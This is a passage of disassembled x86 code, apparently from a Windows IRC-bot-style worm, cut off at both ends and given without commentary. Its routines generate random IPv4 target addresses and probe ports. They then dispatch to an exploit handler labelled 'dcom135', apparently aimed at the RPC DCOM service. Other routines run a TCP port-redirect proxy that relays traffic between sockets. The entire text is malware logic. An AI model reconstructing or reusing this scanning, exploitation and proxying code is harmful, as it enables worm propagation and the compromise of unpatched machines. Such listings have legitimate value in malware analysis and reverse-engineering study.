esp, 0Ch cmp [ebp+arg_90], bl mov ds:dword_43AE08, eax mov eax, [ebp+arg_138] push 7Fh ; Count mov ds:dword_43B0A0, eax jnz short loc_407415 lea eax, [ebp+Source] push eax ; Source push offset byte_43B020 ; Dest call _strncpy add esp, 0Ch mov ds:dword_43B0A4, 1 jmp short loc_40742F ; --------------------------------------------------------------------------- loc_407415: ; CODE XREF: sub_407243+1B3j lea eax, [ebp+arg_90] push eax ; Source push offset byte_43B020 ; Dest call _strncpy add esp, 0Ch mov ds:dword_43B0A4, ebx loc_40742F: ; CODE XREF: sub_407243+1D0j push esi push edi push ds:dword_43B01C lea eax, [ebp+Dest] push offset dword_42A298 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dest] push 5 ; int push eax ; Source call sub_416D48 add esp, 20h mov ds:dword_43B014, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43AE08 push offset sub_4053D6 push ebx push ebx call ds:dword_42309C mov ecx, ds:dword_43B014 pop edi imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_4074A3 loc_40748D: ; CODE XREF: sub_407243+25Ej cmp ds:dword_43B0A8, ebx jnz loc_4075C6 push 32h call ds:dword_423060 ; Sleep jmp short loc_40748D ; --------------------------------------------------------------------------- loc_4074A3: ; CODE XREF: sub_407243+248j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset dword_42A258 jmp loc_4075B7 ; --------------------------------------------------------------------------- loc_4074B4: ; CODE XREF: sub_407243+25j cmp ds:dword_429CC0[eax], ebx jz loc_4075D3 push 3 call sub_416F90 test eax, eax pop ecx jnz loc_4075D3 mov esi, offset byte_43ACE4 push 104h push esi push ebx call ds:dword_423090 ; GetModuleFileNameA push 5Ch ; Ch push esi ; Str call _strrchr pop ecx cmp eax, ebx pop ecx jz short loc_4074F2 mov [eax], bl loc_4074F2: ; CODE XREF: sub_407243+2ABj mov eax, ds:dword_42E5B0 mov ds:dword_43ADFC, ebx mov ds:dword_43ADE8, eax lea eax, [ebp+Source] push eax ; Format push offset Dest ; Dest call _sprintf mov eax, [ebp+arg_110] pop ecx pop ecx mov ds:dword_43AA58, eax mov ecx, [ebp+arg_138] push esi push ds:dword_43ADE8 mov ds:dword_43ADF4, ecx mov ecx, [ebp+arg_13C] push eax mov ds:dword_43ADF8, ecx call sub_40AEDB pop ecx push eax lea eax, [ebp+Dest] push offset unk_42A20C ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dest] push 3 ; int push eax ; Source call sub_416D48 add esp, 20h mov ds:dword_43ADF0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_43AA58 push offset sub_405AF0 push ebx push ebx call ds:dword_42309C mov ecx, ds:dword_43ADF0 imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_4075AB loc_407599: ; CODE XREF: sub_407243+366j cmp ds:dword_43AE04, ebx jnz short loc_4075C6 push 32h call ds:dword_423060 ; Sleep jmp short loc_407599 ; --------------------------------------------------------------------------- loc_4075AB: ; CODE XREF: sub_407243+354j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_42A1C8 ; Format loc_4075B7: ; CODE XREF: sub_407243+26Cj lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch loc_4075C6: ; CODE XREF: sub_407243+250j ; sub_407243+35Cj lea eax, [ebp+Dest] push eax call sub_40BF6F pop ecx loc_4075D3: ; CODE XREF: sub_407243+14j ; sub_407243+35j ... pop esi pop ebx leave retn sub_407243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4075D7(int Dst) sub_4075D7 proc near ; CODE XREF: sub_407758:loc_4077C9p Dst = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+Dst] push esi push 4 ; Size lea esi, ds:4397F8h[eax*8] lea eax, [ebp+Dst] push esi ; Src push eax ; Dst call _memcpy add esp, 0Ch push [ebp+Dst] call ds:dword_43C54C ; htonl inc eax push eax mov [ebp+Dst], eax call ds:dword_43C614 ; htonl mov [ebp+Dst], eax lea eax, [ebp+Dst] push 4 ; Size push eax ; Src push esi ; Dst call _memcpy mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4075D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40761F(char *Src,int) sub_40761F proc near ; CODE XREF: sub_407758+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+Src] ; Str mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call _strlen cmp eax, 0Fh pop ecx jbe short loc_407647 xor eax, eax jmp short loc_4076B8 ; --------------------------------------------------------------------------- loc_407647: ; CODE XREF: sub_40761F+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+Src] ; Src call _sscanf add esp, 18h cmp [ebp+var_C], esi jnz short loc_407674 call _rand mov [ebp+var_C], eax loc_407674: ; CODE XREF: sub_40761F+4Bj cmp [ebp+var_8], esi jnz short loc_407681 call _rand mov [ebp+var_8], eax loc_407681: ; CODE XREF: sub_40761F+58j cmp [ebp+var_4], esi jnz short loc_40768E call _rand mov [ebp+var_4], eax loc_40768E: ; CODE XREF: sub_40761F+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40769A call _rand loc_40769A: ; CODE XREF: sub_40761F+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov ds:dword_4397F8[ecx*8], eax loc_4076B8: ; CODE XREF: sub_40761F+26j pop esi leave retn sub_40761F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076BB proc near ; CODE XREF: sub_407758+B8p ; sub_40D4BC+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call ds:dword_43C698 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4076E4 xor eax, eax jmp short loc_407753 ; --------------------------------------------------------------------------- loc_4076E4: ; CODE XREF: sub_4076BB+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call ds:dword_43C618 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call ds:dword_43C6B4 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call ds:dword_43C5C0 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call ds:dword_43C600 ; select push esi mov edi, eax call ds:dword_43C6B0 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_407753: ; CODE XREF: sub_4076BB+27j pop edi pop esi pop ebx leave retn sub_4076BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407758 proc near ; DATA XREF: sub_40796C+13Bo var_2A8 = dword ptr -2A8h Dest = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h Src = byte ptr -150h var_140 = byte ptr -140h Str = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+Src] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_423054 ; GetTickCount push eax call sub_4172EE mov ebx, esi pop ecx imul ebx, 234h loc_40779F: ; CODE XREF: sub_407758+200j mov eax, ds:dword_442074[ebx] cmp ds:dword_4397FC[eax*8], 0 jz loc_40795D cmp [ebp+var_10], 0 push eax ; Dst jz short loc_4077C9 lea eax, [ebp+Src] push eax ; Src call sub_40761F pop ecx jmp short loc_4077CE ; --------------------------------------------------------------------------- loc_4077C9: ; CODE XREF: sub_407758+60j call sub_4075D7 loc_4077CE: ; CODE XREF: sub_407758+6Fj pop ecx mov edi, eax push [ebp+arg_0] push ds:dword_442074[ebx] push [ebp+var_3C] push edi call ds:dword_43C6A4 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset unk_42A3BC ; Format push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax ; Format lea eax, dword_441E70[ebx] push eax ; Dest call _sprintf push [ebp+var_38] push [ebp+var_3C] push edi call sub_4076BB add esp, 2Ch cmp eax, 1 jnz loc_40794D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4078A2 push offset dword_43A798 call ds:dword_4230C4 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call ds:dword_43C6A4 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset unk_42A384 ; Format push eax ; Dest call _sprintf add esp, 10h cmp [ebp+var_14], 0 jnz short loc_407884 cmp [ebp+Str], 0 push 1 ; int push [ebp+var_18] ; int lea eax, [ebp+Dest] push eax ; int lea eax, [ebp+Str] jnz short loc_407878 lea eax, [ebp+var_140] loc_407878: ; CODE XREF: sub_407758+118j push eax ; Str push [ebp+var_40] ; int call sub_40D670 add esp, 14h loc_407884: ; CODE XREF: sub_407758+FDj lea eax, [ebp+Dest] push eax call sub_40BF6F mov [esp+2A8h+var_2A8], offset dword_43A798 call ds:dword_4230C0 ; RtlLeaveCriticalSection jmp loc_40794D ; --------------------------------------------------------------------------- loc_4078A2: ; CODE XREF: sub_407758+CDj push edi call ds:dword_43C6A4 ; inet_ntoa push eax ; Format lea eax, [ebp+var_208] push eax ; Dest call _sprintf mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aDcom135_0 ; "dcom135" push eax ; Format lea eax, [ebp+var_178] push eax ; Dest call _sprintf add esp, 10h cmp [ebp+Str], 0 lea eax, [ebp+Str] jnz short loc_4078E6 lea eax, [ebp+var_140] loc_4078E6: ; CODE XREF: sub_407758+186j push eax ; Format lea eax, [ebp+var_1F8] push eax ; Dest call _sprintf mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call ds:off_429CB4[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40794D: ; CODE XREF: sub_407758+C3j ; sub_407758+145j push 7D0h call ds:dword_423060 ; Sleep jmp loc_40779F ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_407758+55j push esi call sub_417064 pop ecx push 0 call ds:dword_423050 sub_407758 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40796C proc near ; DATA XREF: sub_40EE51+331Ao ; sub_40EE51+5120o var_1DC = dword ptr -1DCh Source = byte ptr -1CCh var_14C = byte ptr -14Ch Str = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call ds:dword_43C658 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov ds:dword_4397F8[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_407243 push 8 call sub_416F90 add esp, 150h cmp eax, ebx jnz short loc_407A3A mov esi, offset dword_43A798 push esi call ds:dword_4230CC ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_4230C8 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_407A3A lea eax, [ebp+Source] push offset unk_42A4F0 ; Format push eax ; Dest call _sprintf xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407A24 push ebx ; int lea eax, [ebp+Source] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_3C] ; int call sub_40D670 add esp, 14h loc_407A24: ; CODE XREF: sub_40796C+99j lea eax, [ebp+Source] push eax call sub_40BF6F pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407A3A: ; CODE XREF: sub_40796C+63j ; sub_40796C+7Fj mov eax, [ebp+var_2C] mov esi, ds:dword_423060 mov edi, ebx mov ds:dword_4397FC[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_407B07 loc_407A58: ; CODE XREF: sub_40796C+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+Source] push offset unk_42A4A8 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 8 ; int push eax ; Source call sub_416D48 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov ds:dword_442074[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_407758 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_407AD2 loc_407AC7: ; CODE XREF: sub_40796C+164j cmp [ebp+var_4], ebx jnz short loc_407AF9 push 1Eh call esi ; Sleep jmp short loc_407AC7 ; --------------------------------------------------------------------------- loc_407AD2: ; CODE XREF: sub_40796C+159j call ds:dword_423088 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset unk_42A45C ; Format push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_40BF6F add esp, 10h loc_407AF9: ; CODE XREF: sub_40796C+15Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_407A58 loc_407B07: ; CODE XREF: sub_40796C+E6j cmp [ebp+var_30], ebx jz loc_407BB1 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_407B1C: ; CODE XREF: sub_40796C+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, ds:dword_4397F8[eax*8] push eax call ds:dword_43C6A4 ; inet_ntoa push eax lea eax, [ebp+Source] push offset unk_42A408 ; Format push eax ; Dest call _sprintf add esp, 14h cmp [ebp+var_10], ebx jnz short loc_407B6A push ebx ; int lea eax, [ebp+Source] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_3C] ; int call sub_40D670 add esp, 14h loc_407B6A: ; CODE XREF: sub_40796C+1DFj lea eax, [ebp+Source] push eax call sub_40BF6F mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov ds:dword_4397FC[eax*8], ebx call esi ; Sleep push 8 call sub_416F90 cmp eax, 1 pop ecx jnz short loc_407BA1 push offset dword_43A798 call ds:dword_4230CC ; RtlDeleteCriticalSection loc_407BA1: ; CODE XREF: sub_40796C+228j push [ebp+var_2C] call sub_417064 pop ecx push ebx call ds:dword_423050 loc_407BB1: ; CODE XREF: sub_40796C+19Ej ; sub_40796C+25Dj mov eax, [ebp+var_2C] cmp ds:dword_4397FC[eax*8], 1 jnz loc_407B1C push 7D0h call esi ; Sleep jmp short loc_407BB1 sub_40796C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BCB proc near ; DATA XREF: sub_40EE51+36F1o Source = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+Dst] push ebx ; Size push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_40] call ds:dword_43C618 ; htons push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call ds:dword_43C698 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407D2F mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov ds:dword_44207C[eax], ebx call ds:dword_43C534 ; WSAAsyncSelect lea eax, [ebp+Dst] push 10h push eax push ebx call ds:dword_43C644 ; bind test eax, eax jnz loc_407D2F push 0Ah push ebx call ds:dword_43C640 ; listen test eax, eax jnz loc_407D2F loc_407C75: ; CODE XREF: sub_407BCB+BEj ; sub_407BCB+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call ds:dword_43C6AC ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407C75 movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call ds:dword_43C6A4 ; inet_ntoa push eax lea eax, [ebp+Source] push offset unk_42A584 ; Format push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Source] push 10h ; int push eax ; Source call sub_416D48 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov ds:dword_442074[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset sub_407D53 push esi push esi call ds:dword_42309C mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov ds:dword_442084[ecx], eax jz short loc_407D1A loc_407D07: ; CODE XREF: sub_407BCB+14Dj cmp [ebp+var_2C], esi jnz loc_407C75 push 32h call ds:dword_423060 ; Sleep jmp short loc_407D07 ; --------------------------------------------------------------------------- loc_407D1A: ; CODE XREF: sub_407BCB+13Aj call ds:dword_423088 ; RtlGetLastWin32Error push eax ; Args push offset unk_42A538 ; Format call sub_40BFE3 pop ecx pop ecx jmp short loc_407D32 ; --------------------------------------------------------------------------- loc_407D2F: ; CODE XREF: sub_407BCB+61j ; sub_407BCB+93j ... mov edi, [ebp+arg_0] loc_407D32: ; CODE XREF: sub_407BCB+162j push edi call ds:dword_43C6B0 ; closesocket push ebx call ds:dword_43C6B0 ; closesocket push [ebp+var_3C] call sub_417064 pop ecx push esi call ds:dword_423050 pop edi pop esi pop ebx sub_407BCB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D53 proc near ; DATA XREF: sub_407BCB+11Co var_1344 = byte ptr -1344h Source = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch Dst = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call ds:dword_43C698 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_407F09 push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_3C] call ds:dword_43C618 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call ds:dword_43C658 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_407DE3 lea eax, [ebp+var_13C] push eax call ds:dword_43C69C ; gethostbyname jmp short loc_407DF1 ; --------------------------------------------------------------------------- loc_407DE3: ; CODE XREF: sub_407D53+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call ds:dword_43C5D0 ; gethostbyaddr loc_407DF1: ; CODE XREF: sub_407D53+8Ej cmp eax, edi jz loc_407F09 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+Dst] push eax push esi call ds:dword_43C5C0 ; connect cmp eax, 0FFFFFFFFh jz loc_407F09 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call ds:dword_43C6A4 ; inet_ntoa push eax lea eax, [ebp+Source] push offset unk_42A62C ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Source] push 10h ; int push eax ; Source call sub_416D48 imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_44207C[ebx] mov ds:dword_442074[eax], ecx add esp, 20h mov ecx, [esi] mov ds:dword_442080[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_407F3A push edi push edi call ds:dword_42309C mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov ds:dword_442084[ecx], eax jz short loc_407EF6 loc_407EA3: ; CODE XREF: sub_407D53+15Dj cmp [ebp+var_20], edi jnz short loc_407EB2 push 32h call ds:dword_423060 ; Sleep jmp short loc_407EA3 ; --------------------------------------------------------------------------- loc_407EB2: ; CODE XREF: sub_407D53+153j mov ebx, 1000h loc_407EB7: ; CODE XREF: sub_407D53+19Fj push ebx ; Size lea eax, [ebp+var_1344] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call ds:dword_43C630 ; recv cmp eax, edi jle short loc_407F09 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jnz short loc_407EB7 jmp short loc_407F09 ; --------------------------------------------------------------------------- loc_407EF6: ; CODE XREF: sub_407D53+14Ej call ds:dword_423088 ; RtlGetLastWin32Error push eax ; Args push offset unk_42A5DC ; Format call sub_40BFE3 pop ecx pop ecx loc_407F09: ; CODE XREF: sub_407D53+44j ; sub_407D53+A0j ... mov eax, [ebp+var_4] imul eax, 234h push ds:dword_44207C[eax] call ds:dword_43C6B0 ; closesocket push [ebp+arg_0] call ds:dword_43C6B0 ; closesocket push [ebp+var_4] call sub_417064 pop ecx push edi call ds:dword_423050 pop edi pop esi pop ebx sub_407D53 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F3A proc near ; DATA XREF: sub_407D53+130o Dst = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call __alloca_probe mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407F71: ; CODE XREF: sub_407F3A+7Cj push edi ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push 0 push edi push eax push ds:dword_442080[esi] call ds:dword_43C630 ; recv test eax, eax jle short loc_407FB8 push 0 push eax lea eax, [ebp+Dst] push eax push ds:dword_44207C[esi] call ds:dword_43C668 ; send cmp eax, 0FFFFFFFFh jnz short loc_407F71 loc_407FB8: ; CODE XREF: sub_407F3A+61j push ds:dword_442080[esi] call ds:dword_43C6B0 ; closesocket push [ebp+var_14] call sub_417064 pop ecx push 0 call ds:dword_423050 pop edi pop esi sub_407F3A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FD7 proc near ; DATA XREF: sub_40EE51+5E5Do Source = byte ptr -2D4h var_D4 = dword ptr -0D4h Str = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_40] call ds:dword_43C618 ; htons push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call ds:dword_43C698 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov ds:dword_44207C[eax], edi lea eax, [ebp+Dst] push eax push edi call ds:dword_43C644 ; bind test eax, eax jnz loc_408179 push 0Ah push edi call ds:dword_43C640 ; listen test eax, eax jnz loc_408179 push [ebp+var_40] push [ebp+var_D4] call sub_40AEDB pop ecx push eax lea eax, [ebp+Source] push offset unk_42A75C ; Format push eax ; Dest call _sprintf add esp, 10h cmp [ebp+var_30], esi jnz short loc_4080B2 push esi ; int lea eax, [ebp+Source] push [ebp+var_34] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_D4] ; int call sub_40D670 add esp, 14h loc_4080B2: ; CODE XREF: sub_407FD7+B9j ; sub_407FD7+172j ... lea eax, [ebp+Source] push eax call sub_40BF6F pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call ds:dword_43C6AC ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call ds:dword_43C6A4 ; inet_ntoa push eax lea eax, [ebp+Source] push offset unk_42A708 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 11h ; int push eax ; Source call sub_416D48 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov ds:dword_442074[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_4081DC push esi push esi call ds:dword_42309C mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov ds:dword_442084[ecx], eax jz short loc_408159 loc_408146: ; CODE XREF: sub_407FD7+180j cmp [ebp+var_28], esi jnz loc_4080B2 push 5 call ds:dword_423060 ; Sleep jmp short loc_408146 ; --------------------------------------------------------------------------- loc_408159: ; CODE XREF: sub_407FD7+16Dj call ds:dword_423088 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset unk_42A6C0 ; Format push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4080B2 ; --------------------------------------------------------------------------- loc_408179: ; CODE XREF: sub_407FD7+7Bj ; sub_407FD7+8Cj push edi call ds:dword_43C6B0 ; closesocket push [ebp+var_40] lea eax, [ebp+Source] push offset unk_42A680 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4081BC push esi ; int lea eax, [ebp+Source] push [ebp+var_34] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_D4] ; int call sub_40D670 add esp, 14h loc_4081BC: ; CODE XREF: sub_407FD7+1C3j lea eax, [ebp+Source] push eax call sub_40BF6F push [ebp+var_3C] call sub_417064 pop ecx pop ecx push esi call ds:dword_423050 pop edi pop esi pop ebx sub_407FD7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4081DC proc near ; DATA XREF: sub_407FD7+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh Dst = byte ptr -4C8h var_C8 = byte ptr -0C8h Str2 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h 